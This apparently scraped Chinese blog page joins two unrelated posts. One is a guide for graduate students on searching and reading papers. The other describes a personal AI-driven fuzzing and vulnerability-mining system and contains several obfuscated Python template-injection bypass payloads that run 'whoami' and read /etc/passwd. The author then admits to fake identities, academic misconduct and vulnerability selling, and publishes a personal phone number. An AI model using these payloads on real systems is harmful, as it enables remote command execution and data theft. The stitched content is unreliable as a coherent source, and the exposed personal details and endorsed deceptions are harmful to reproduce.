文章22
标签6
分类2

如何搜索和阅读一篇论文

如何搜索和阅读一篇论文 (How to Search&Read a Paper)

Motivation
看着一帮一帮的硕士师弟入学,开题,答辩和毕业。感觉到自己渐渐向老古董靠拢(老古董现已博士毕业)。一次偶然的机会,发现一部分师弟到写毕业论文时都不会查论文,对于学校的电子资源更是知之甚少。顿时感到无比心疼,送上搜索文献一文,希望对你们少走弯路,早日“入门”。

本文档适合于刚入学的硕士和博士(计算机专业最好,其他专业可参考)。(高年级博士请直接跳到第4-5章)。文中有很多非严谨的语句,希望各位海涵。文中的不少例子以东南大学位为例,请自动换成自己学校的链接或者内容。

学术搜索和论文阅读
本篇文章总结了学术搜索和论文阅读的一些基本方法。

符号备注:

*: 进阶技能
TIPS: 小技巧
WARNING: 注意事项,小心中招

  1. 学术搜索工具
    现有的大部分学术数据库都要收费(部分Open Access的论文、纯免费的杂志,以及国内期刊/学报除外)!而且很贵(5美金一篇)!幸好学校图书馆已经为我们准备了丰富的学术数据库。相当于帮我们把论文的下载费用都先行支付了。那么,不好好利用就是太可惜了。以东大为例,东大学术数据库列表。其他学校可以到本校的图书馆主页寻找。

注意: 大部分学校购买的数据库都是通过IP认证(部分是镜像);所以,不在学校时,需要用校园VPN(例如,以东大校园VPN)。同时,由于这类数据库对于批量下载很抵触,希望大家不要用工具批量下载,否则会导致学校(和你)被加入黑名单。

1.1 检索入口(便捷)
Google学术

最强大的学术工具,没有之一。配合Google强大的搜索能力,搜索体验非常好,并支持多种格式的参考文献导出。特别注意,Google学术可以跟踪作者和论文(如有论文被引用或者作者有新论文就会提醒)。如果用学校IP登录,大部分文献可以直接下载。

DBLP

对会议检索很快,会将作者的相关工作整理归类。也会将会议的论文整理。

微软学术

对会议的分类和排序比较好,可以分领域搜索。微软学术本身对于会议和论文会有详细的分析(排名,引用状况等),很适合详细分析某个会议或者一篇论文的发展趋势(引用趋势)。

1.2 专业型入口(版本有保障,会议扫墙专用)
两大计算机协会,外加Springer和Web of Science:

ACM

IEEE

Springer

Web of Science

WARNING: 各大网站导出的参考文件格式不同(特别是IEEE和ACM)!记得在论文中统一

1.3 中文论文检索(检索学位论文专用)
三大中文检索数据库:

万方

维普

知网

1.4 无法找到论文,或者无法下载(请Google)
如果前面几种方法搜索到了论文,但是无法下载(论文库问题,后者还未正式发表)。那么Google就是最好的方法。直接Google这篇论文,有些大牛会把论文挂在自己主页上。而且,现在Google支持论文内部检索(直接定位到论文中的段落)。需要注意的是: Google到的论文版本可能不是最终发布版本,部分细节可能会改变。

TIPS: 实在不行,厚着脸皮问作者要论文(客气一点,作者还是会答应的)。我曾经问一些作者请教过论文相关的问题 (甚至请求过论文的源代码),大部分作者都回复了我,而且不少人回复的非常认真。

  1. 鉴别论文好坏
    论文很多,很杂。一篇优秀的论文需要很多心血和时间去不断的修改和凝练,而一篇垃圾论文可能只需要复制和粘贴。两个级别的论文差距很大,当然也会给我们带来不同的影响。从我的经验来看,阅读论文时要以优秀论文为主,避免被垃圾论文误导。所以,最好在检索时候就鉴别论文质量。另一方面,即使是顶级论文,也还是太多了,如果不通过筛选缩小范围,读论文的速度绝对赶不上论文出来的速度。

2.1 检索工具排序
上面提及到的各类检索工具都会对论文进行排序。排序方式有很多种

被引用次数(很重要,大部分检索工具默认)

原理很简单: 如果其他作者认可这篇论文中的工作,就会主动去引用这篇论文;因此,被引用次数越多,说明这篇论文的越重要。反之,如果没人引用,除非是新方向或者最新的论文,基本都可以判定为比较差。

会议或者期刊的排名

顶级期刊和会议的论文的平均质量非常高。主办方会将论文交给领域内顶尖的大牛来审论文;这些大牛也很重视,会花大量时间和精力去审论文,以保证会议和期刊的质量。

2.2 会议和期刊分类列表
领域列表(由导师或者师兄提供)

CCF列表(顶级会议和SCI期刊)

学院认可的学报(随着毕业条件变化,可能会不适用):

计算机学报

软件学报

计算机研究与发展

通信学报

中国科学

东大学报

  1. 拓展知识面(找到更多论文)
    搜一篇明确的论文需要不到一秒;但是通过搜索扩充自己对领域的认识,需要慢慢积累!对于一个新的领域,你至少需要了解: 关键词、关键技术、领域划分、重要的论文列表以及重量级大牛。随后,再选择自己感兴趣的方向,进一步细分和研究。

了解一个领域的方式一般有以下几种:

3.0 综述和优秀学位论文(看运气,新领域一般没有)
如果这个领域有几篇很有影响力的综述(survey)或者几篇优秀的学位论文,那么以下三种方法所需数据都可以被大大缩短。因为通过他们,你就有了以下东西:

关键词
关键技术
论文列表(而且是分好类的)
领域划分
大牛名单(好的综述都是大牛写的,综述里重复出现的作者要么是他的朋友,要么就是大牛!)
TIPS: 一篇好的综述非常有用,可以省去很多时间和精力。不过有survey也说明该领域已经比较成熟。

3.1 关键词方式
关键词(keyword)是搜索的核心,也是找到论文的核心。好的关键词库能够串起一大片好论文,甚至一个领域,也能帮助我们快速识别某篇论文是否属于我们领域。不过,寻找关键词不能心急,需要不断阅读不断积累。等关键词积累到一定程度,你就会发现对领域的认识到了一个新的高度。

以下是我寻找关键词的流程:

从中文关键词入手(如果已经知道英文关键词最好!)寻找英文关键词和论文
用已知的关键词(英文),搜索并阅读相关论文,扩充关键词库
分类和细化关键词,删除一些干扰的结果
可以尝试和作者交流,一次好的交流可以获得很多最新的关键词
分析最近的热门论文,更新和扩充关键词
例如: 最开始我只知道数据匿名和数据隐私,通过搜索和阅读文献,我发现数据匿名和数据隐私类的论文一般有以下关键词data privacy, data anonymization, privacy preserving data publishing等;同时,数据的匿名操作在不同论文中的说法也不一致,有用anonymize, coarse, distort, clean, sanitize等等。那么这些关键词就可以扩充到我的关键词库中,方便我鉴别某篇论文是否属于我的研究领域。后期发现,其实用coarse, clean的人很少,只是在论文中避免重复使用anonymize时才会出现,所以可以弱化这两个关键词。

WARNING: 上面所述的关键词特指英文关键词,中文关键词由于翻译和语境问题,更加多样化,统一性太差。

TIPS: 关键词积累很漫长,需要阅读大量文献;但是随着时间推移,这些关键词会帮助我们更好的理解这个领域

3.2 参考文献方式
准备开始找:

搜到一篇相关论文(论文越好参考文献越有价值)
从该篇论文的参考文献(reference)入手
不断增加论文,分类论文
WARNING: 简单有效的方法!但是,需要有明确的目标。整个过程需要不断的增加论文,并分类论文。不然手头的论文只会越来越杂(论文多到不敢想象,但是真正对你有用的就那么几篇)。做好过滤和分类,可以大大提高入门速度。

TIPS: 相关工作(related work)一般会提供很好的文献分类,参考这个章节可以帮助我们划分手头的论文。

*3.3 大牛效应
发现某些人在领域论文中出镜率很高?恭喜你,开始邂逅大牛了。大牛一般很牛X,理解得深入,实验做得好,论文写得好,不喜欢拿公式和理论恶心人。这样的前辈,对我们的研究会有很大帮助。

找大牛一般有以下方法:

自动上门(实验室请过来交流):

找和你方向相关的大牛,去听报告
听完报告和大牛交流,留邮箱后面可以继续联系
主动找:

找到一篇或者多篇好文章
挨个查作者最近的论文,论文都很好,那么就收藏(论文+大牛)
可以尝试订阅一些大牛的论文动态(可以了解他的研究进展状况和领域趋势)
WARNING: 跟着大牛的论文列表去入门肯定不会错。但是,小心别被大牛带坑里去(大牛一般都有团队,而我们往往只有一个人。特别是大牛说“这个很简单!”时)。

3.4 会议扫墙
最暴力的方法,工作量巨大,费眼睛。但是每年扫一次可以保持对领域的清晰认识。

获取优秀会议和期刊列表(见2.2)
选取和自己相关的会议和期刊
从今年开始往前(反向也可以),将这些会议期刊上相关的论文都下载下来
TIPS: 扫墙也是有技巧的。先浏览abstract和introduction,觉得相关或者感兴趣再进一步浏览。千万不要逐个通篇阅读,费力费脑,吃力不讨好。

  1. 如何阅读论文
    4.1 论文各部分的重要性

摘要 abstract: 论文最重要的部分,一般由导师直接把关
引言 introduction: 重要性仅次于摘要,内容更加易懂
相关工作 related work: 对领域内工作的分类和总结
其他章节: 论文细节,对于理解本论文非常重要。
总结 conclusion: 全文总结和展望
参考文献 reference: 论文引用的文献列表
附录 Appendix: 部分无法放到正文中的内容,如过分细节的证明和算法
4.2 快速阅读(泛读)
如果时间有限,直接读abstract是最高效的方法。如果时间还很充裕,那么就把introduction也读一遍。读完这两部分,就应该能基本理解论文的核心思想。

WARNING:读得速度越快,对论文的理解越差,甚至会出现误解。因此,想要好好理解一篇论文,精读是非常必要的。

4.3 精读
通过泛读(快速)阅读筛选完论文之后,需要精读部分的重要论文。我个人建议将精读分为几个阶段进行:

理解论文基本原理: motivation,所用的理论?
理解论文详细内容: 深入理解论文细节,包括定义、假设和相关公式等
能够重现实验(未必需要): 能否重现整个实验,并得到相同结果?
组织讨论: 与其他人进行讨论,可能有没有疏忽的地方?或者理解不到位的地方?
设计更好的方案: 能不能更进一步,设计更好的方法?
每个阶段可以对应一次或者多次阅读,通过多次阅读来加深对论文的理解。不要指望一口气能够理解整篇论文。很多原因会造成理解不够深入甚至理解错误,例如现阶段的知识面不够,或者对于某些概念理解错误等。所以需要多次阅读(如果有必要,多次讨论)来避免这类问题。

WARNING:讨论是非常必要的(最好由阅读论文的人主讲),当其他人从他的角度提出疑问时,很可能会给意想不到的惊喜。

*5. 论文提醒和会议追踪(让论文来找你)
*5.1 论文提醒
通过添加论文 被引用通知和 作者论文通知,我们可以掌握领域内最新的研究进展。

已知可以添加被引用通知的搜索工具(均需要注册账号):

Google学术
微软学术
Web of Science
Google学术添加提醒(强烈推荐):

搜索结果提醒。搜索“WIFI”,点击左下角的"Create Alert",添加后,以后和wifi相关的论文有变动都会收到邮件。
引用提醒。点击第一篇论文的引用列表(cited by),点击"Create Alert"可以建立引用通知,新论文引用该论文,就会有邮件通知。
作者提醒。点击作者链接,再点击"Create Alert",可以创建作者提醒。如果该作者维护自己的Google学术页面,那么他有新文章时就会通知。
Web of science添加通知:

添加"引用提醒。搜索论文,点击进入,点击"Create Citation Alert"添加。收录期刊论文比Google快,还是非常有必要的。

微软学术:

TIPS: 有时候,论文还没发表,就已经能够通过引用关系找到该论文。建议师弟师妹们好好熟悉下。

*5.2 会议追踪(别再错过deadline)
核心会议的时间和地点基本固定,但是投稿时间和deadline区别很大(abstract没投就不让投正文)。为了避免晚一天的悲剧,国内外各有一个工具,都非常好。注册账号后,只要搜索会议,在会议页面点击"Track"或者"Add to my list"即可,到特点时间点(例如,abstract deadline)就会提前发邮件通知你。

WikiCFP 老牌追踪工具
Conference Partner 后起之秀,源于某个好心的博士前辈
WikiCFP可以查看详细的timeline,非常直观;但是每次会议过期需要手动添加下一年会议,比较麻烦(一般本年会议开完后,下一年的会议时间才能基本确定,等到WikiCFP收录,估计要1-2个月)。Conference Partner最新改版后变得不是很好用,但是可以显示会议地点,直接在地图上显示。

  1. 案例和练习
    6.1 搜索: Data Privacy

用Google学术搜索data privacy。发现"Data privacy through optimal k-anonymization"被引用779次(大牛型论文),这样的话,关键词和引用列表就都有了,大牛也有了。
点击相关论文,发现很多相关论文都被引用。选取相关论文中,引用次数最多的论文入手。
点击Cited by 797, 了解该论文被引用情况,前几位的论文需要关注下。
通过积累的关键词和论文,逐步熟悉这个领域。
6.2 搜索: 室内定位(手机和无线定位)
用Google学术搜索indoor location。发现很多都是RFID的论文。RFID是物联网方向的,偏硬件。但是第三篇论文"Robust indoor location estimation of stationary and mobile users"是INFOCOM2004(安全方向A类)的论文,而且是手机和无线。那么以这篇论文为后续的线索。
搜索"Robust indoor location estimation of stationary and mobile users"相关论文。果然大量的wireless和WIFI的论文就出现了。找对方向了!
通过积累的关键词和论文,逐步熟悉这个领域 。
6.3 搜索: Object Detection (Deep Learning领域)
用Google学术搜索object detection。会发现一个问题: 这个领域是一个很老的领域(经典的论文发表于2001年),而且最近快速发展(一些2015年左右的论文也被引用了上千次)。
我们所需要的是Deep Learning相关的结果。根据大概的技术趋势(新闻和RSS),这个领域在从2010开始,发展非常快。那我们可以通过左侧的过滤条件,过滤掉2009年之前的论文。
过滤完毕后,大部分的论文都属于Deep Learning领域。其中,Kaiming He就是这个领域的大牛(多篇论文被引用超过千次)。可以拿他的论文作为线索继续深入挖掘。
*6.4 添加一篇论文引用通知,追踪一个会议
搜索website fingerprint或者object detection,尝试添加一个引用提醒
选择一篇论文,添加引用提醒
在WikiCFP上面追踪下一届S&P会议
结束语
随手写了这么多,希望对各位师弟师妹的有帮助。希望你们站在我们肩膀上,比我们做得更好。

龚奇源 gongqiyuan@seu.edu.cn

*Reference:

How to Read a Paper
How to read a research paper
6 Tips to Finding Research Paper Sources that Set You Apart
How to Read A Scientific Paper
Effective Reading and Note-Taking
研究相关的书籍推荐:

《有了博士学位还不够》
《研究是一门艺术》
《像外行一样思考,像专家一样实践》
版本更新:

2013-7-23 第一版完成
2014-2-18 更新VPN地址,增加一些备注,修改部分语句,增加案例的详细说明
2014-5-4 增加论文追踪,扩展论文引用追踪
2014-5-5 修改部分语句,修改格式
2014-5-6 根据凌振的建议,强化关键词小节
2015-9-3 根据张骏雪的建议,增加DBLP
2015-9-17 增加如何阅读论文
2019-2-20 修复链接,增加参考文献和书籍,修正格式

from:https://github.com/qiyuangong/How_to_Search_and_Read_a_Paper

洪武1368

洪武_1368:基于DRL_DDPG算法思维实现的洪武漏洞挖掘辅助系统,来来来,这是你的reward和loss

4.png

5.png

花了两三天用layui admin重写了一个前端,其实对我来说前端毫无意义,我基本上不用前端,特别是浏览器的前端,我还不如写C#的C/S的客户端,但是很懒得编译,就算了,凑合一下,毕竟要出货不是。

大致样式是这样的:
1

1.png

2

2.png

3

3.png

随手截了几张图,没啥意思,就是表示前端太麻烦了,难倒是不难,就是很烦,特别是部分css需要微调的时候,很花时间的。

第一张background图片忘记是哪位大佬的平台用的图了,我在电脑直接看到就拿来用了,确实很好看,如果侵权了直接叫我删除就行。

首先,说下这是个什么玩意,我把它定义为辅助系统,虽然叫做漏洞挖掘xxxx的,感觉很多都没办法彻彻底底完成全自动化,我这个也是如此,至少关于生成exp这块,勉强把WEB端的exploit生成,算是基本完成了,比如一些注入,xss,bypass狗啥的,生成的算是比较准确,其中的句法语法分析算是比较到位了。比如某个CTF题目python ssti漏洞的bypass:(随手复制的 说不定有转义)

{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("whoami")["\x72\x65\x61\x64"]()}}
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

在二进制这块,关于生成可用exploit,我试着做了一下,貌似没什么特别好的方法,因为我的训练数据主要是来自自己挖掘的一些0day,主要是倾向于iot和Linux比较多,我基本上没有多少Windows的训练样本,由于数据集也得自己做,所以很花时间,我就大概生成一套POC就行了, exploit再此基础上在进行人工修改即可。(其实这是个难点...特别是可用的 稳定的 exp 好难啊,特别是有些情况很容易直接打死,或者没反应,比如蓝牙协议漏洞,同一个exp,有时候rce 有时候约等于dos)。

说一下一些实现思路的,这类玩意儿,其实都属于NLP这个大方向,除了初学那一年我搞的CV外,其他时间我基本上都在NLP这个领域摸着石头过来,也有幸被ACL AAAI录过论文。这个辅助系统主要是ai化常规操作。实际上是把传统的fuzzing问题转变为智能化操作,比如fuzzing的三要素目标 策略 样本 ,语法变异,覆盖率,开销 等等问题的处理都得一步一步来。比如样本大小达到了17g,但不一定都是有效样本。比如覆盖率与开销等等。我这边的其中一个fuzzer是根据语法将收集的样本(即语料库)解析为抽象语法树(AST),定义一种基于概率的上下文相关语法,并学习PCSG(probabilistic context-sensitive grammar)。然后利用学习到的PCSG生成种子输入。也结合了计算代码路径权重的方法,用以设定调度优先级。用的生成种子的模型算法也很多很乱,我保留了目标效果比较好的强化学习(RL+DRL)的DDPG,DQN,sarsa 贪婪,深度学习的RNN_LSTM(会有人问啥时代了还用lstm啊,太out了吧,其实无论新旧,泛化能力很重要,比如naive bayes效果好,那我也用),GAN的ACGAN等等,模型的话,还是TensorFlow和Keras-rl这两个官方大佬为主,毕竟讲究通用性,我自己在研究autoML autoDL(对应百度的easydl 和微软的xxx产品),写了个autoFeature,算是通用自动化特征工程的一个小玩意,处理一些payloads样本还不错。也写了个PARL的二开版本,当时命名为PARL-reinforce,现在看来想多了,一个人二开是远远比不上大厂的。

整体架构的话是包含三大部分,一个是graybox部分一个是fuzzer部分一个是expert部分​。说是graybox,其实白盒黑盒都有,这个tools分为web和二进制两部分,写了成分句法分析自动化工具,支持php(AST CFG等)和java(虚拟执行 ),net的话暂时还没想去做,主要是我做这个审计比较少,没有形成自己的规则,缺陷太多​。结果会拆分为source point和sink point,结合graybox的实现,基本上​误报很低了。java的话也是如此,会有白盒代码审计工具给出类似fortify的XML报表差不多的report,然后再进行操作​。fuzzer部分的话,主要是针对AFL的改进和自写的iotfuzz和ppfuzz的部分,iotfuzz虽说叫iot,但elf deb啥的都支持,也写了专用的elf修复的模块,理论来说ida gdb这两个工具都能流畅运行(实际上不一定...),fuzzer分为了主动式和被动式,被动式的是刚才说的自写的ppfuzz,是只针对协议的,也是iot的协议最先支持,比如zwave ZigBee 蓝牙等,但是强依赖wireshack格式... ​所以自动化不起来。这三部分就是expert部分,其实也叫expert system 就是专家系统的意思,或者说人工专家系统,比如train模块,监控模块,sentry模块(日志模块)都属于expert部分,我把调参设定在web端这里,其实我从没用过,我都是直接在后端改代码,因为问题确实多,sentry都熟悉,​确实很好用,我就省点事,直接使用​这套东西了。

统而言之,这套辅助系统支持自动化、半自动化的白盒+灰盒的漏洞挖掘流程,其fuzzer模块功能上支持多种优选模型生成,范围上支持webcms(php+java),二进制(iot+协议+elf/deb等文件)的fuzzing,理论上能自验证poc,和环境模拟(web使用docker API其中java必须是maven 二进制是QEMU)。这个东西写的乱七八糟的。

命名为“辅助系统”,其实质就是我自己个人使用的做协同fuzz的,进行漏洞挖掘,建立模型训练的一个玩具而已,我也暂时不想再继续投入时间和精力。突然发这个东西是因为突然翻看笔记的时候,看到之前19年天府杯我比较敬佩的研究者泉哥的演讲题目《fuzzing 平台建设的研究与设计》我当时做的笔记,回忆了下2019-2020年对漏洞挖掘的一些产出,翻了翻笔记,还写了“泉哥--riusksk--福建中医药大学--骨伤专业” 这样的记录... ... 再联想到最近因专业问题拒绝我简历某某大厂,唉,真的是难受。

看人家泉哥 黑哥 tk教主等大佬,人家也非科班出身,我也非科班出身,为啥我这么菜呢,明白了,我是经管专业+法学,人家是医学出身,就差在这了,其实我当时除了报法律,也想过医学,但听说要读六年,怂了... ... 这就是我现在这么菜的一个根由。

开源地址: 别闹了​

ps: 被人爆出学历装逼 确实是真的 。详情看评论即可。
那张图也确实是真的,现在也可以天眼查 企查查均可查询得到。

其实没有打码必要,但是不能伤害人家公司不是。
微信图片_20210115155438.jpg微信图片_20210115155444.jpg微信图片_20210115155455.jpg微信图片_20210115155502.jpg

还有论文的一些图片 和 证书应该晚上我会传的。谢谢,我真的是傻逼。

这是这个项目当时的申请材料,有点久了,我很多东西找不到,但是当时我在找人一起做的时候,实验室的唐 zcc 黄 吕 彭老师,院长均可证明,我拿不出纸质证明了..我工位这的一些记录,应该能说明一些吧

微信图片_20210115160301.jpg微信图片_20210115160253.jpg
微信图片_20210115160718.jpg微信图片_20210115160723.jpg
这些文件都是涉密的,“申报项目和内容不得泄密”。应该没啥影响吧。 哈哈哈哈。
如果这个项目还证明不了的话,我没法子了。

论文的事,貌似评论还没讲清楚,您可以随时来这问一下这边的研究生就知道咋回事了... 我确实是钱龟,为了钱啥都做,我承认,做了很多学术不端的事,我的辞职计划可能是这个月吧,不能再玷污人家神圣的地方了。是时候还了。举个例子吧,比如这个手稿,我电子稿或者是纸质稿都能证明这个idea paper是我的,可是后面这三个作者为什么不是我呢... 我不想说明白了,这个懂就行,别人都是自己事业,别追根了,我也收到m了。反正以您的能力搜到这篇论文也是OK的。(这里少一张图片)

对了,我手机 15677405040 广西的号码,可以给我发短信或者需要什么材料的,我可以补充下,该承认的也都承认了。放心我真不会社工。

找了半天,好像是这个比赛,当时给的百度的推荐吧。我给我几个学长学姐打码了。 社工出来了,应该认出来,我胖胖的,应该是一等奖和设计奖吧,我不记得了。不是的话就是在江西jc学院打的信息安全大赛吧,我再翻一翻。记得当时是三个人得到什么推荐可以去百度实习。我只记得有个姓龙的去了。但是强调一点,他说的是对的,我确实没去百度,我只是说明下我是因为这个才装的。

微信图片_20210115162752.jpg微信图片_20210115162801.jpg
微信图片_20210115183930.jpg

应该给指导老师们也打马的,但貌似是这位老师推荐的,就不好了。

没找到这个也还能查到,我以为差不到了,这是自考本科的毕业论文通过截图。到时候我去搞个章子就好了。我连成绩单也没去打印过,我争取明年自考办开的时候去搞好。(自考这个还真的和相声有关,我比较喜欢德云社,里面有一栾云平,就是这路子,我也跟着学了学)

微信截图_20210115164801.png

这是自考的本科,还有在职的,花钱买的...您也没说错,就是那种继续教育出的那种。因为自考类型是只有学历没有学籍,我确实没啥办法,确实也拿不出证,可能要等等,我会尽快的拿到证晒出来。所以我再找找其他的您稍等

为了申请专利软著而做前端,和一个学生一起搞的。
360截图18470127402867.png

还有生成模型还没演示,在ubuntu录屏有点麻烦,我明天去录制下吧,这东西是一个科研项目,不是空壳,我的那个前端确实是空壳,我在微信公众号发了的,说了是假的,就是申请软著 专利 等等东西的时候,不能没有界面,我就花两天画了一下而已。。。

顺便吐槽下,除了名字外,其他的社工貌似不是很准确,我自爆就行了,别麻烦了。比如我不是20届毕业生...现在20届毕业生基本上都是00后了,如果是就好了,所以童工啥的也不说了。就算00后,好像也成年了。还有我想说最近被喷的 被挖的确实够呛,但是没什么,也不用特地挂vpn啥的,我不会溯源的,放心。没去过百度是真的,但是学历问题我一直在反思,到底自考 在职算不算正式学历,我之前也被自己带的学生扒过,因为确实查不到只有毕业了才有一丝丝证明。包括后续不知道的学生,我也都是和他们说,要努力学习,要考上c9 华科武大什么的,其实我自己做不到。我就是个傻逼,他们说的不错,确实是这样。我之前一个朋友也和我说,你是不是给钱什么都干,好的吧,我也承认,确实是个钱龟。但至少我没骗过别人漏洞和卖别人二手漏洞吧,而且从九月到现在一直都没出售过了,到底得罪哪位老板了,如果觉得价格不合适的,那就不做就好了啊,我从不强求的。

百度这个事我认了,虽然当时推荐了去,可最后确实没去。sorry 百度。还有一个就是假身份混淆问题,我之前一直觉得不可能有完全匿名的方式,多次被社工也是如此,我在这些年中,感觉半真半假才是最好的藏身之道,现在倒是无所谓,可以公开一下曾经用过的假身份,比如李X茂,这个名字我甚至还用过入职,办理过社保... 还有刘X,也是曾经用过去珠海做暑假工的,应该都社工得到的。

本来我一直在犹豫要不要走,毕竟确实追不回来了,说不定再带下去都满月酒了,谢谢这十余位大哥御弟,我下定决心了,年后就走。真是真心的,没有阴阳怪气...